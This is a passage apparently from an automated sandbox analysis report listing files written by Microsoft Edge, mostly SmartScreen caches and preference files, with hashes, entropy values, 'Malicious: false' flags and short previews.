caHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\downloadCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.3787834934861767
Encrypted:	false
SSDEEP:	3:ZK7q6:ZA
MD5:	DF741B3F19D9DC2621EAF973C8C9FA9D
SHA1:	F45F1D9791C05366A8A23322D497C89957E75E61
SHA-256:	6E5DDBA6D7AA3B287EA364034E1F843E4146FF92C07D8426F4A7C4B0E6435006
SHA-512:	650DE3F99038BFFBFEF41A9ACC0A06E15803550C6456D0BDEAC9EBE18AEA94AB3A0BB7D85B7A0230CE6F510F5E26FA739FE58924F355D7E3714EC37DAA4C70D2
Malicious:	false
Preview:	downloadCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\downloadCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.06133070145033
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTf8SntLJjozRLuLgfGBkGAeekVy8Hfjg9PIAclRfIXy:YWLSGT8uLJo9LuLgfGBPAzkVj/EMlyi
MD5:	BCBEBEDD69682457B5F77492DA9BE754
SHA1:	CC477F03B525589ED9266B524E36F6D96E935D59
SHA-256:	61B74A7D4F6C6B00EF24F5F01478B36F4E4D500F00472D54C50FC83938F3EF5D
SHA-512:	48C307165490FE06C5C1B37A09B510241DBF0141744FAC1033F4E5AF706606C1D54857068AA76EB4366162E2A16CAADC68EF8DB7AD784D13D48C657E8B8CA3E5
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"bb9733d39fb936d6","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":0,"expiration_time":1734534750789982}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.0280449136289125
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTf8SntLJjozRLuLgfGBkGAeekVy8HfzXNPIAclRP4:YWLSGT8uLJo9LuLgfGBPAzkVj/T8l94
MD5:	B9BE1A6EBB9F48DAAAD86F67F69CF838
SHA1:	D56C8E1AEAD5B582AFBB39788874F836EACEE46E
SHA-256:	9BFDA7F353F0788A6821B119FD7F06FA2CA826B3530B3464AEB48C46715B0DF3
SHA-512:	74260D7CBD699471CF31F6869C24F49C71C58A2E373930EFAE45A2A59BC8FF5D334F40F229D029ACB427C8D7E7B5C32D295E112F146119BF971BAD5209D9B072
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"bb9733d39fb936d6","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1734534749561244}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQHn:YQ3Kq9X0dMgAEiLIFn
MD5:	0E16444393CD322124146935AB837ECC
SHA1:	AA1A3E9571E3E067421D940601965220711F24AD
SHA-256:	1B5DE2BF736E2BB182CF64BD8A72BBBD6538A9F33DC8020223B2257BAD6F7D82
SHA-512:	26C461B0493C5E0F26AA196CE94C0C9EA5D892220EBE882AF4BF2892469515E9B13056EF7AE0F9C429F45C14F334299CCFFA5BAB1547B3DA0E2FCE45131630A0
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":3}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b0e2ea26-3650-484a-b121-865c85ff73a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	47154
Entropy (8bit):	6.091374180605248
Encrypted:	false
SSDEEP:	768:LMkbJrT8IeQc5d918fFhDO6vP6O4sjIXBWz0TZh9U7NQhv5ZYCAo74Goup1Xl3j/:LMk1rT8H191363IXBWZQh3YRochu3Vll
MD5:	B4A501A8A80184688B1201ECB8643B65
SHA1:	DC4221055834280C464D6B20E5C3E974691EBC94
SHA-256:	4F1747BCCB9CAE51BA5568AB82DCAD4DA2C659BFC1294DC3BC768E38C334BF99
SHA-512:	2176E6BF660314596FC8069312510A175813790DF7BDEC490019B84D45D6095E2D1476387C20BD0C61EA0F158E7224FA584DEFEC9A2F59D60753A7914450E1C1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734433944"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cbdea189-1433-4ee3-a26b-d213a7dd6472.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	45639
Entropy (8bit):	6.089628656770788
Encrypted:	false
SSDEEP:	768:7MkbJrT8IeQc51o18C4uhDO6vP6O4sjIXBn4ZoUVD/AEFQhv5ZYCAo3Goup1Xl3r:7Mk1rT8HNo1263IXBoQh3YRo3hu3VlXV
MD5:	7D281B7372F7B8733839FEC3922EF945
SHA1:	6901B188752EC8BD04D177DE2B91046D9FBEDA2C
SHA-256:	C2A3F13FB09B58DAC6DE370BDED32B21EEE36DDDA06023EDB492C3B42FF5B038
SHA-512:	5A146C67B4E67A2BD13DD64406D55D0A40CC20A281B4BDA915843B33242E372A55AB3FAB861621DF707CD7F04BFB6CF62ABA68ED53929BF6CBCF73526107C95B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734433944"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e5f33f6b-589a-4776-ac18-47403d8b59b8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45562
Entropy (8bit):	6.089709885104179
Encrypted:	false
SSDEEP:	768:LMkbJrT8IeQc5d918fFhDO6vP6O4sjIXBS6ZoUVD/AEFQhv5ZYCAo74Goup1Xl3r:LMk1rT8H191363IXBfQh3YRochu3VlXV
MD5:	04F1F2C5B0B8BDF37F6EED6D6835E7BE
SHA1:	4A133380AAB146D7A8F4F88EBD2F14B1A839F10A
SHA-256:	A29A7FADC09F0D8278AD557ABD7A6F9254F415123EA8389726D4E7F063B6C851
SHA-512:	29E30CFC3DAC7C64293367BDE8109967EFBDE8026E7DD5090F6ADB230F912E8519BB7ECE19AA71A04832C2599A174F8527E1FE48F4BAC2F1E3C540936A0060E9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734433944"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e803a6f7-a75b-44fa-ad49-b342699a92e2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44620
Entropy (8bit):	6.096946389162977
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBKwu4hDO6vP6O4sjIXBrhZQDkE6FoB6cGoup1Xl34:z/Ps+wsI7ynEG63IXB3chu3VlXr4CRo1
MD5:	CCD6234265AF9CE9C3AC745CCCD97D5C
SHA1:	1BDCE60DA3787696E7257684397178C437F0A8C5
SHA-256:	D6605DFC8923EEBF533DE09BF23094D2298A1A1503031C3C6F8691C2BE6618A5
SHA-512:	7A255D3031BCB98817C390E11F4E989231D3E8D14C476DA64F5DB83687029C803C2C4CE05B67DD5BEF140CC712E5601E89E152FC7F8FD1E0FA1A8BD825FFB732
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f0ae2286-98a9-40e6-9763-153793f5ca74.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090777363023321
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMHwuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEb6Ztbz8hu3VlXr4CRo1
MD5:	44A0304F315F6B7CD9C799159501B165
SHA1:	04B8504BC9C2C2761ECC97A16C5C8896631505D7
SHA-256:	73F0FCB32081E725B4E7F86D6BE0734A68A609F07D9B54FA287A9397CE571573
SHA-512:	0F3F116B9A06F21C74FAE648EF55C30187F52AFC9B897E188AB258CE0C07C176D0DA76C9CB50587D2C36D85214D1581E619ADA0651715EEAA20A0C02A2955282
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8436899157484294
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxiJxl9Il8uSqamwmdG7ayh9fU7ZxvINl8rd1rc:mLYAqemdG7Xh9fU7Zxw38M
MD5:	E59DBC0D6E72E349DD178E0EF7B7B1D7
SHA1:	ABE707436BBBD8A7AEB8A3E7D0E0AD5860591142
SHA-256:	31D3011C25AA5619A5936D64F629A0011E2FDABABFF480CD9F144E13EB056E5D
SHA-512:	83C2B79A73FB3DE454B33E9B83737BCEC7599708131548C64A3F7D59D806282FCB4B27174FEEFF24B736EBB12793476585E17B031A83459E71907D852EBA92C9
Malicious:	false
